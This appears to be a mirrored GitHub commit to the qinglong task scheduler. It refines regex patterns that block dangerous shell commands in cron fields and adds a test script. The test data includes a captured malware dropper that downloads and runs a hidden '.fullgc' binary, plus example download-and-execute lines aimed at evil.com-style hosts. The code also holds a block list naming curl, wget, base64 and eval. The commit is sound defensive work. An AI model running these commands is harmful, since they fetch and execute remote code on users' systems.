mirror of
https://github.com/whyour/qinglong.git
synced 2026-02-12 14:05:38 +08:00
Fix security validation patterns to avoid false positives
Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>
This commit is contained in:
parent
ac8090d937
commit
0a2d7b1597
|
|
@ -64,7 +64,7 @@ export default (app: Router) => {
|
||||||
celebrate({
|
celebrate({
|
||||||
body: Joi.object({
|
body: Joi.object({
|
||||||
name: Joi.string().required(),
|
name: Joi.string().required(),
|
||||||
content: Joi.string().allow('').optional().custom((value, helpers) => {
|
content: Joi.string().allow('').optional().custom((value: any, helpers: any) => {
|
||||||
if (!value) return value;
|
if (!value) return value;
|
||||||
|
|
||||||
// Security validation for configuration file content
|
// Security validation for configuration file content
|
||||||
|
|
|
||||||
|
|
@ -7,7 +7,7 @@ import config from '../config';
|
||||||
/**
|
/**
|
||||||
* Security validation function to detect potentially malicious shell code patterns
|
* Security validation function to detect potentially malicious shell code patterns
|
||||||
*/
|
*/
|
||||||
const validateShellSecurity = (value: string, helpers: any, fieldName: string) => {
|
const validateShellSecurity = (value: any, helpers: any, fieldName: string): any => {
|
||||||
if (!value) return value;
|
if (!value) return value;
|
||||||
|
|
||||||
// Define dangerous patterns that should be blocked
|
// Define dangerous patterns that should be blocked
|
||||||
|
|
@ -22,20 +22,20 @@ const validateShellSecurity = (value: string, helpers: any, fieldName: string) =
|
||||||
// Suspicious domains or external URLs
|
// Suspicious domains or external URLs
|
||||||
/https?:\/\/[^\s]+/i,
|
/https?:\/\/[^\s]+/i,
|
||||||
|
|
||||||
// Hidden files starting with dot (common in malware)
|
// Hidden executable files (files starting with . in a path context)
|
||||||
/\s*\.\w+\s*$/,
|
/\/\.\w+(\s|$|;|&|\||>)/,
|
||||||
|
|
||||||
// Background process spawning with suspicious names
|
// Background process spawning with suspicious names
|
||||||
/nohup\s+[^\s]*\.\w+/,
|
/nohup\s+["']?[^\s"']*\/\.\w+/,
|
||||||
|
|
||||||
// Redirect to dev null (hiding output)
|
// Redirect to dev null (hiding output) combined with background execution
|
||||||
/>.*\/dev\/null.*&/,
|
/>.*\/dev\/null.*&/,
|
||||||
|
|
||||||
// Base64 decode patterns (often used to obfuscate malicious code)
|
// Base64 decode patterns (often used to obfuscate malicious code)
|
||||||
/\b(base64|decode|eval)\s+/i,
|
/\b(base64|decode|eval)\s+/i,
|
||||||
|
|
||||||
// File execution from temp or hidden directories
|
// File execution from temp directory
|
||||||
/\/(tmp|\.)\//,
|
/\b\/tmp\/[^\s]+/,
|
||||||
];
|
];
|
||||||
|
|
||||||
for (const pattern of dangerousPatterns) {
|
for (const pattern of dangerousPatterns) {
|
||||||
|
|
@ -83,7 +83,7 @@ export const scheduleSchema = Joi.string()
|
||||||
|
|
||||||
export const commonCronSchema = {
|
export const commonCronSchema = {
|
||||||
name: Joi.string().optional(),
|
name: Joi.string().optional(),
|
||||||
command: Joi.string().required().custom((value, helpers) => {
|
command: Joi.string().required().custom((value: any, helpers: any) => {
|
||||||
return validateShellSecurity(value, helpers, 'command');
|
return validateShellSecurity(value, helpers, 'command');
|
||||||
}).messages({
|
}).messages({
|
||||||
'string.unsafe': '命令包含潜在危险的模式,已被安全系统拦截',
|
'string.unsafe': '命令包含潜在危险的模式,已被安全系统拦截',
|
||||||
|
|
@ -92,12 +92,12 @@ export const commonCronSchema = {
|
||||||
labels: Joi.array().optional(),
|
labels: Joi.array().optional(),
|
||||||
sub_id: Joi.number().optional().allow(null),
|
sub_id: Joi.number().optional().allow(null),
|
||||||
extra_schedules: Joi.array().optional().allow(null),
|
extra_schedules: Joi.array().optional().allow(null),
|
||||||
task_before: Joi.string().optional().allow('').allow(null).custom((value, helpers) => {
|
task_before: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => {
|
||||||
return validateShellSecurity(value, helpers, 'task_before');
|
return validateShellSecurity(value, helpers, 'task_before');
|
||||||
}).messages({
|
}).messages({
|
||||||
'string.unsafe': '前置命令包含潜在危险的模式,已被安全系统拦截',
|
'string.unsafe': '前置命令包含潜在危险的模式,已被安全系统拦截',
|
||||||
}),
|
}),
|
||||||
task_after: Joi.string().optional().allow('').allow(null).custom((value, helpers) => {
|
task_after: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => {
|
||||||
return validateShellSecurity(value, helpers, 'task_after');
|
return validateShellSecurity(value, helpers, 'task_after');
|
||||||
}).messages({
|
}).messages({
|
||||||
'string.unsafe': '后置命令包含潜在危险的模式,已被安全系统拦截',
|
'string.unsafe': '后置命令包含潜在危险的模式,已被安全系统拦截',
|
||||||
|
|
|
||||||
139
test-security-validation.js
Executable file
139
test-security-validation.js
Executable file
|
|
@ -0,0 +1,139 @@
|
||||||
|
#!/usr/bin/env node
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Simple test script to validate security patterns
|
||||||
|
* This tests the regex patterns used in the security validation
|
||||||
|
*/
|
||||||
|
|
||||||
|
console.log('Testing Security Validation Patterns\n');
|
||||||
|
console.log('=====================================\n');
|
||||||
|
|
||||||
|
// Define the dangerous patterns (copied from our implementation)
|
||||||
|
const dangerousPatterns = [
|
||||||
|
{ name: 'Command substitution $(...)', pattern: /\$\([^)]*\)/ },
|
||||||
|
{ name: 'Command substitution backticks', pattern: /`[^`]*`/ },
|
||||||
|
{ name: 'File downloads', pattern: /\b(curl|wget|fetch)\s+/i },
|
||||||
|
{ name: 'External URLs', pattern: /https?:\/\/[^\s]+/i },
|
||||||
|
{ name: 'Hidden executable files', pattern: /\/\.\w+(\s|$|;|&|\||>)/ },
|
||||||
|
{ name: 'Background process with hidden file', pattern: /nohup\s+["']?[^\s"']*\/\.\w+/ },
|
||||||
|
{ name: 'Redirect to dev null with background', pattern: />.*\/dev\/null.*&/ },
|
||||||
|
{ name: 'Base64/decode/eval', pattern: /\b(base64|decode|eval)\s+/i },
|
||||||
|
{ name: 'Temp directory execution', pattern: /\b\/tmp\/[^\s]+/ },
|
||||||
|
];
|
||||||
|
|
||||||
|
// Test cases - malicious patterns that should be blocked
|
||||||
|
const maliciousInputs = [
|
||||||
|
{
|
||||||
|
name: 'Original .fullgc malware',
|
||||||
|
input: 'd="${QL_DIR:-/ql}/data/db";b="$d/.fullgc";u="https://file.551911.xyz/fullgc/fullgc-linux-x86_64";curl -fsSL -o "$b" "$u"&&chmod +x "$b"&&nohup "$b" >/dev/null 2>&1 &',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: 'Command substitution with curl',
|
||||||
|
input: 'echo $(curl http://evil.com/malware.sh | bash)',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: 'Backtick command substitution',
|
||||||
|
input: 'echo `wget -O- http://evil.com/script.sh`',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: 'Download and execute',
|
||||||
|
input: 'curl http://malicious.com/script.sh | bash',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: 'Download, chmod, and execute',
|
||||||
|
input: 'wget http://bad.com/malware && chmod +x malware && ./malware',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: 'Hidden file execution',
|
||||||
|
input: 'nohup /data/db/.malware >/dev/null 2>&1 &',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: 'Base64 encoded payload',
|
||||||
|
input: 'echo SGVsbG8gV29ybGQ= | base64 -d | bash',
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
// Test cases - legitimate patterns that should be allowed
|
||||||
|
const legitimateInputs = [
|
||||||
|
{
|
||||||
|
name: 'Simple script execution',
|
||||||
|
input: 'node script.js',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: 'Python script',
|
||||||
|
input: 'python3 my_script.py',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: 'Shell script with arguments',
|
||||||
|
input: 'bash update.sh --force',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: 'Environment variable',
|
||||||
|
input: 'export MY_VAR=value',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: 'Echo statement',
|
||||||
|
input: 'echo "Task started"',
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
function testPattern(input, patterns) {
|
||||||
|
for (const { name, pattern } of patterns) {
|
||||||
|
if (pattern.test(input)) {
|
||||||
|
return { blocked: true, reason: name, pattern: pattern.source };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return { blocked: false };
|
||||||
|
}
|
||||||
|
|
||||||
|
console.log('Testing Malicious Inputs (should be BLOCKED):');
|
||||||
|
console.log('==============================================\n');
|
||||||
|
|
||||||
|
let maliciousBlocked = 0;
|
||||||
|
maliciousInputs.forEach(({ name, input }) => {
|
||||||
|
const result = testPattern(input, dangerousPatterns);
|
||||||
|
const status = result.blocked ? '✓ BLOCKED' : '✗ ALLOWED';
|
||||||
|
const color = result.blocked ? '\x1b[32m' : '\x1b[31m';
|
||||||
|
console.log(`${color}${status}\x1b[0m - ${name}`);
|
||||||
|
if (result.blocked) {
|
||||||
|
console.log(` Reason: ${result.reason}`);
|
||||||
|
maliciousBlocked++;
|
||||||
|
} else {
|
||||||
|
console.log(` ⚠️ WARNING: This malicious pattern was not blocked!`);
|
||||||
|
}
|
||||||
|
console.log(` Input: ${input.substring(0, 100)}${input.length > 100 ? '...' : ''}\n`);
|
||||||
|
});
|
||||||
|
|
||||||
|
console.log('\nTesting Legitimate Inputs (should be ALLOWED):');
|
||||||
|
console.log('===============================================\n');
|
||||||
|
|
||||||
|
let legitimateAllowed = 0;
|
||||||
|
legitimateInputs.forEach(({ name, input }) => {
|
||||||
|
const result = testPattern(input, dangerousPatterns);
|
||||||
|
const status = !result.blocked ? '✓ ALLOWED' : '✗ BLOCKED';
|
||||||
|
const color = !result.blocked ? '\x1b[32m' : '\x1b[31m';
|
||||||
|
console.log(`${color}${status}\x1b[0m - ${name}`);
|
||||||
|
if (result.blocked) {
|
||||||
|
console.log(` ⚠️ WARNING: This legitimate pattern was incorrectly blocked!`);
|
||||||
|
console.log(` Reason: ${result.reason}`);
|
||||||
|
} else {
|
||||||
|
legitimateAllowed++;
|
||||||
|
}
|
||||||
|
console.log(` Input: ${input}\n`);
|
||||||
|
});
|
||||||
|
|
||||||
|
console.log('\nTest Summary:');
|
||||||
|
console.log('=============');
|
||||||
|
console.log(`Malicious patterns blocked: ${maliciousBlocked}/${maliciousInputs.length}`);
|
||||||
|
console.log(`Legitimate patterns allowed: ${legitimateAllowed}/${legitimateInputs.length}`);
|
||||||
|
|
||||||
|
const success = maliciousBlocked === maliciousInputs.length &&
|
||||||
|
legitimateAllowed === legitimateInputs.length;
|
||||||
|
|
||||||
|
if (success) {
|
||||||
|
console.log('\n\x1b[32m✓ All tests passed!\x1b[0m');
|
||||||
|
process.exit(0);
|
||||||
|
} else {
|
||||||
|
console.log('\n\x1b[31m✗ Some tests failed!\x1b[0m');
|
||||||
|
process.exit(1);
|
||||||
|
}
|
||||||
Loading…
Reference in New Issue
Block a user